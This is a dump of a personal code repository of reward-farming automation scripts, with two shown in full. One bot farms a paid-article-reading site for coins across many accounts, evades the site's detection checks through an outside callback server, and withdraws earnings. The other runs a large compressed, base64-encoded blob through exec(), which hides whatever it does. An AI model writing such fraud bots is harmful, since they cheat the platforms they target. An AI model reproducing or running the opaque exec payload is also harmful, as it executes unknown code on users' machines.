├── 3214_2348040电信营业厅.js
├── 32723_0306480ydqd.js
├── GB_过监测.py
├── Look_at_Yuhang.py
├── QuantumultX.conf
├── README.md
├── Ruishu.js
├── Soul.js
├── Soulx.js
├── WeChatPublicNumberPushInformation.py
├── ampDache.js
├── cshby.js
├── czgm_pro.py
├── ddgy.py
├── didi.py
├── dls.py
├── fDianDianYueDuVM1_0.py
├── fn_sign.js
├── f人人帮.py
├── gas-price.js
├── gjjjhyjlb.py
├── gshvyb.js
├── hgdsp.py
├── jdmksign.sh
├── jhsh.py
├── maotai.py
├── nfsq.py
├── qt1.py
├── sanguo.js
├── sfsy_forhappy.py
├── thisPassion_boxjs.json
├── xinxi.py
├── xyyd_pro.py
├── ydyp.py
├── yiyr.txt
├── yl.py
├── ylnn.js
├── yundongdaka.js
├── zkb.py
├── 伊利-臻浓.py
├── 团币2400.py
├── 壹号联萌.py
├── 心喜查询库.py
├── 抖音极速版v3.0.js
├── 朴朴.js
├── 滴滴果园.js
├── 猫猫看看.py
├── 电信.js
├── 电信0点.py
├── 真爱粉.py
├── 移动云盘.py
├── 红色火箭.js
├── 统一阿萨姆.js
├── 联通.js
├── 联通权益超市.py
├── 联通阅读 - 副本.py
├── 茄皇.js
├── 茶姬.js
├── 薏米短剧.js
├── 观屎日本.py
├── 顺丰插件版.js
├── 顺丰非插件版.js
└── 饿了么续期.py


/GB_过监测.py:
--------------------------------------------------------------------------------
  1 | # Author: lindaye
  2 | # Update:2023-09-26
  3 | # 钢镚(充值购买)阅读
  4 | #活动入口：http://2528089.svmoln.sgzzlb.a8rgbsrs4muk6.cloud/?p=2569361
  5 | # 添加账号说明(青龙/本地)二选一
  6 | #   青龙: 青龙变量gbtoken 值{"ck":"gfsessionid的值","ts":"Wxpusher的UID"} 一行一个(回车分割)
  7 | #   本地: 脚本内置ck方法ck_token = [{"ck":"gfsessionid的值","ts":"Wxpusher的UID"},{"ck":"gfsessionid的值","ts":"Wxpusher的UID"}]
  8 | # 脚本使用说明:
  9 | #   1.(必须操作)扫码关注wxpusher获取UID: https://wxpusher.zjiecode.com/demo/
 10 | #   2.在1打开的网页中点击发送文本消息,查看是否收到,收到可继续
 11 | #   3.将1打开的网页中的UID或者以及操作过1的账号UID复制备用
 12 | #   4.根据提示说明填写账号变量
 13 | # 回调服务器开放说明:
 14 | #   1.仅针对授权用户开放,需配合授权软件使用
 15 | #   2.青龙变量设置LID变量名,值为授权软件的LID
 16 | # 软件版本
 17 | version = "1.2.0"
 18 | name = "充值购买(钢镚)"
 19 | linxi_token = "gbtoken"
 20 | linxi_tips = '{"ck":"gfsessionid的值","ts":"Wxpusher的UID"}'
 21 | import requests
 22 | from multiprocessing import Pool
 23 | import re
 24 | import time
 25 | import hashlib
 26 | import random
 27 | import os
 28 | import json
 29 | from urllib.parse import quote
 30 | # 阅读等待时间
 31 | tsleep = 40
 32 | # 变量类型(本地/青龙)
 33 | Btype = "青龙"
 34 | # 提现限制(元)
 35 | Limit = 2
 36 | # 授权设备ID(软件版本>=1.3.3)[非授权用户不填即可]
 37 | imei = os.getenv('LID')
 38 | # 充值购买(钢镚)域名(无法使用时请更换)
 39 | domain = 'http://2496831.marskkqh7ij0j.jpsl.u1jcnc75wwbyk.cloud'
 40 | # 保持连接,重复利用
 41 | ss = requests.session()
 42 | 
 43 | # 检测文章列表(如有未收录可自行添加)
 44 | check_list = [
 45 |     'MzkyMzI5NjgxMA==','MzkzMzI5NjQ3MA==','Mzg5NTU4MzEyNQ==', 'Mzg3NzY5Nzg0NQ==', 'MzU5OTgxNjg1Mg==',
 46 |     'Mzg4OTY5Njg4Mw==', 'MzI1ODcwNTgzNA==','Mzg2NDY5NzU0Mw=='
 47 | ]
 48 | # 计算sign
 49 | def get_sign():
 50 |     current_time = str(int(time.time()))
 51 |     # 计算 sign
 52 |     sign_str = f"key=4fck9x4dqa6linkman3ho9b1quarto49x0yp706qi5185o&time={current_time}"
 53 |     sha256_hash = hashlib.sha256(sign_str.encode())
 54 |     sign = sha256_hash.hexdigest()
 55 |     data = f'time={current_time}&sign={sign}'
 56 |     return data
 57 | 
 58 | 
 59 | # 获取个人信息模块
 60 | def user_info(i,ck):
 61 |     # 请求头
 62 |     headers = {
 63 |         "User-Agent": "Mozilla/5.0 (Linux; Android 12; Redmi K30 Pro Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5279 MMWEBSDK/20230805 MMWEBID/3850 MicroMessenger/8.0.41.2441(0x28002951) WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64",
 64 |         "Cookie":f"gfsessionid={ck['ck']};"
 65 |     }
 66 |     try:
 67 |         result = ss.get(domain+"/share", headers=headers, data=get_sign()).json()
 68 |         share_link = result["data"]["share_link"][0]
 69 |         userid = share_link.split("=")[1].split("&")[0]
 70 |     except:
 71 |         print(f"账号【{i+1}】请检查你的CK({ck['ck']})是否正确!")
 72 |         return False
 73 |     result = ss.get(domain+"/read/info", headers=headers, data=get_sign()).json()
 74 |     if result["code"] == 0:
 75 |         remain = result["data"]["remain"]
 76 |         read = result["data"]["read"]
 77 |         print(f"账号【{i+1}】UID:{userid} 余额:{remain} 今日:{read}篇 推广:{share_link}")
 78 |     else:
 79 |         print(f'账号【{i+1}】用户信息获取失败:{result["message"]}')
 80 | 
 81 | # 阅读文章模块
 82 | def do_read(i,ck):
 83 |     # 请求头
 84 |     headers = {
 85 |         "User-Agent": "Mozilla/5.0 (Linux; Android 12; Redmi K30 Pro Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5279 MMWEBSDK/20230805 MMWEBID/3850 MicroMessenger/8.0.41.2441(0x28002951) WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64",
 86 |         "Cookie":f"gfsessionid={ck['ck']};"
 87 |     }
 88 |     while True:
 89 |         response = ss.get(domain+"/read/task", headers=headers, data=get_sign())
 90 |         try:
 91 |             response = response.json()
 92 |         except json.decoder.JSONDecodeError:
 93 |             print(f"账号【{i+1}】请检查你的CK({ck['ck']})是否正确!")
 94 |             return False
 95 |         if response["code"] == 1:
 96 |             if "秒" in response['message']:
 97 |                 print(f"账号【{i+1}】即将开始:{response['message']}")
 98 |                 time.sleep(5)
 99 |             elif response['message'] == "记录失效":
100 |                 print(f"账号【{i+1}】阅读异常,重新获取:{response['message']}")
101 |             else:
102 |                 print(f"账号【{i+1}】{response['message']}")
103 |                 break
104 |         else:
105 |             try:
106 |                 s = random.randint(10,12)
107 |                 # 检测是否是检测文章
108 |                 biz = re.findall("biz=(.*?)&",response["data"]["link"])[0]
109 |                 print(f"账号【{i+1}】获取文章成功-{biz}-模拟{s}秒")
110 |                 if biz in check_list:
111 |                     print(f"账号【{i+1}】阅读检测文章-已推送微信,请40s内完成验证!")
112 |                     # 过检测
113 |                     check = check_status(ck['ts'],response["data"]["link"],i)
114 |                     if check == True:
115 |                         print(f"账号【{i+1}】检测文章-过检测成功啦!")
116 |                         response = ss.post(domain+"/read/finish", headers=headers, data=get_sign()).json()
117 |                         print(f'账号【{i+1}】阅读文章成功-获得钢镚[{response["data"]["gain"]}]-已读{response["data"]["read"]}篇')
118 |                     else:
119 |                         print(f"账号【{i+1}】检测文章-过检测失败啦!")
120 |                         break
121 |                 else:
122 |                     time.sleep(s)
123 |                     response = ss.post(domain+"/read/finish", headers=headers, data=get_sign()).json()
124 |                     # print(response)
125 |                     if response["code"] == 0:
126 |                         if response["data"]["check"] is False:
127 |                             print(f'账号【{i+1}】阅读文章成功-获得钢镚[{response["data"]["gain"]}]-已读{response["data"]["read"]}篇')
128 |                         else:
129 |                             print(f"账号【{i+1}】获取到未收录检测: {biz} 将自动停止脚本")
130 |                             break
131 |                     else:
132 |                         if response['message'] == "记录无效":
133 |                             print(f"账号【{i+1}】记录无效,重新阅读")
134 |                         else:
135 |                             print(f"账号【{i+1}】{response}")
136 |                             break
137 |             except KeyError:
138 |                 if response['code'] == 801:
139 |                     print(f"账号【{i+1}】今日任务已完成: {response['message']}")
140 |                     break
141 |                 else:
142 |                     print(f"账号【{i+1}】获取文章失败,错误未知{response}")
143 |                     break
144 | 
145 | # 提现模块
146 | def get_money(i,ck):
147 |     # 请求头
148 |     headers = {
149 |         "User-Agent": "Mozilla/5.0 (Linux; Android 12; Redmi K30 Pro Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5279 MMWEBSDK/20230805 MMWEBID/3850 MicroMessenger/8.0.41.2441(0x28002951) WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64",
150 |         "Cookie":f"gfsessionid={ck['ck']};"
151 |     }
152 |     response = ss.get(domain+"/read/info", headers=headers, data=get_sign())
153 |     try:
154 |         response = response.json()
155 |     except json.decoder.JSONDecodeError:
156 |         print(f"账号【{i+1}】请检查你的CK({ck['ck']})是否正确!")
157 |         return False
158 |     if response["code"] == 0:
159 |         remain = response["data"]["remain"]
160 |     else:
161 |         print(f'账号【{i+1}】获取用户信息失败: {response["message"]}')
162 |     if remain >= Limit*10000:
163 |         response = ss.get(domain+"/withdraw/wechat", headers=headers, data=get_sign()).json()
164 |         if response["code"] == 0:
165 |             print(f'账号【{i+1}】开始提现:{response["message"]}')
166 |         elif response["code"] == 1:
167 |             print(f'账号【{i+1}】开始提现:{response["message"]}')
168 |         else:
169 |             print(f'账号【{i+1}】未知错误:{response}')
170 |     else:
171 |         print(f'账号【{i+1}】当前余额为{remain} 未到达{Limit}元提现限制!')
172 | 
173 | # 微信推送模块
174 | def check_status(key,link,index):
175 |     if imei != None:
176 |         if ss.get("https://linxi-send.run.goorm.io").status_code ==200:
177 |             callback = "https://linxi-send.run.goorm.io"
178 |         else:
179 |             callback = "https://auth.linxi.tk"
180 |         result = ss.post(callback+"/create_task",json={"imei":imei}).json()
181 |         uuid = result['uuid']
182 |         print(f"账号【{str(index+1)}】避免并发,本次延迟{index*2}秒,上传服务器[{result['msg']}]")
183 |         time.sleep(index*2)
184 |         result = ss.get(f'https://wxpusher.zjiecode.com/demo/send/custom/{key}?content=检测文章-{name}%0A请在{tsleep}秒内完成验证!%0A%3Cbody+onload%3D%22window.location.href%3D%27{quote(link)}%27%22%3E').json()
185 |         print(f"账号【{str(index+1)}】微信消息推送: {result['msg']},等待40s完成验证!")
186 |         for i in range(10):
187 |             result = ss.get(callback+f"/select_task/{imei}/{uuid}").json()
188 |             if result['code'] == 200:
189 |                 print(f"账号【{str(index+1)}】服务器回调结果:{result['msg']}")
190 |                 result = ss.get(callback+f"/delete_task/{imei}/{uuid}").json()
191 |                 print(f"账号【{str(index+1)}】查询本次uuid结果:{result['msg']}")
192 |                 return True
193 |             time.sleep(4)
194 |         result = ss.get(callback+f"/delete_task/{imei}/{uuid}").json()
195 |         print(f"账号【{str(index+1)}】清除本次uuid结果:{result['msg']}")
196 |         return False
197 |     else:
198 |         print(f"账号【{str(index+1)}】避免并发同一时间多个推送,本次推送延迟{index*2}秒")
199 |         time.sleep(index*2)
200 |         result = ss.get(f'https://wxpusher.zjiecode.com/demo/send/custom/{key}?content=检测文章-{name}%0A请在{tsleep}秒内完成验证!%0A%3Cbody+onload%3D%22window.location.href%3D%27{quote(link)}%27%22%3E').json()
201 |         print(f"账号【{str(index+1)}】微信消息推送: {result['msg']},等待40s完成验证!")
202 |         #print(f"手动微信阅读链接: {link}")
203 |         time.sleep(30)
204 |         return True
205 | 
206 | 
207 | if __name__ == "__main__":
208 |     print(f"""██╗     ██╗███╗   ██╗██╗  ██╗██╗       ██████╗ ██████╗ ██╗   ██╗██████╗ 
209 | ██║     ██║████╗  ██║╚██╗██╔╝██║      ██╔════╝ ██╔══██╗╚██╗ ██╔╝██╔══██╗
210 | ██║     ██║██╔██╗ ██║ ╚███╔╝ ██║█████╗██║  ███╗██████╔╝ ╚████╔╝ ██║  ██║
211 | ██║     ██║██║╚██╗██║ ██╔██╗ ██║╚════╝██║   ██║██╔══██╗  ╚██╔╝  ██║  ██║
212 | ███████╗██║██║ ╚████║██╔╝ ██╗██║      ╚██████╔╝██████╔╝   ██║   ██████╔╝
213 | ╚══════╝╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝       ╚═════╝ ╚═════╝    ╚═╝   ╚═════╝ 
214 |     项目:{name}           BY-林夕          Verion: {version}(并发)
215 |     Github仓库地址: https://github.com/linxi-520/LinxiPush
216 | """)
217 |     if Btype == "青龙":
218 |         if os.getenv(linxi_token) == None:
219 |             print(f'青龙变量异常: 请添加{linxi_token}变量示例:{linxi_tips} 确保一行一个')
220 |             exit()
221 |         # 变量CK列表
222 |         ck_token = [json.loads(line) for line in os.getenv(linxi_token).splitlines()]
223 |     else:
224 |         # 本地CK列表
225 |         ck_token = [
226 |             # 这里填写本地变量
227 |         ]
228 |         if ck_token == []:
229 |             print(f'本地变量异常: 请添加本地ck_token示例:{linxi_tips}')
230 |     print("==================回调服务器状态=================")
231 |     if imei:
232 |         print(f"[回调服务器]:已启用-[授权ID:{imei}]")
233 |     else:
234 |         print(f"[回调服务器]:未启用-[变量ID:{imei}]")
235 |     # 创建进程池
236 |     with Pool() as pool:
237 |         # 并发执行函数
238 |         print("==================获取账号信息=================")
239 |         pool.starmap(user_info, list(enumerate(ck_token)))
240 |         print("==================开始阅读文章=================")
241 |         pool.starmap(do_read, list(enumerate(ck_token)))
242 |         print("==================开始账号提现=================")
243 |         pool.starmap(get_money, list(enumerate(ck_token)))
244 |         print("==================开始账号提现=================")
245 | 
246 |         # 关闭进程池
247 |         pool.close()
248 |         # 等待所有子进程执行完毕
249 |         pool.join()
250 | 
251 |         # 关闭连接
252 |         ss.close
253 |         # 输出结果
254 |         print(f"================[{name}V{version}]===============")


--------------------------------------------------------------------------------
/Look_at_Yuhang.py:
--------------------------------------------------------------------------------
 1 | """
 2 | 每日低保
 3 | 先注册好APP和绑定
 4 | 变量名：Look_at_Yuhang
 5 | Cron:自己定,一天一次或两次,看任务量
 6 | 自行抓包app的token,或使用接码登录获取工具：哪个能下就用那个
 7 | https://www.123pan.com/s/wmSqVv-Zvfxh.html
 8 | https://pan.xunlei.com/s/VNpOQ2c7pPpvoFw80LP9p4EXA1?pwd=vn4v
 9 | 多账号换行或&
10 | 阅读点赞分享抽奖
11 | 自行决定做不做评论任务, 通过设置comment的值
12 | 设置comment = 0 , 则不做评论
13 | ------------------------------------------
14 | """
15 | import lzma, base64
16 | comment = 0  #等于1，即做评论任务
17 | exec(lzma.decompress(base64.b64decode('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')))
18 | 
19 | 
20 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # mycode


--------------------------------------------------------------------------------
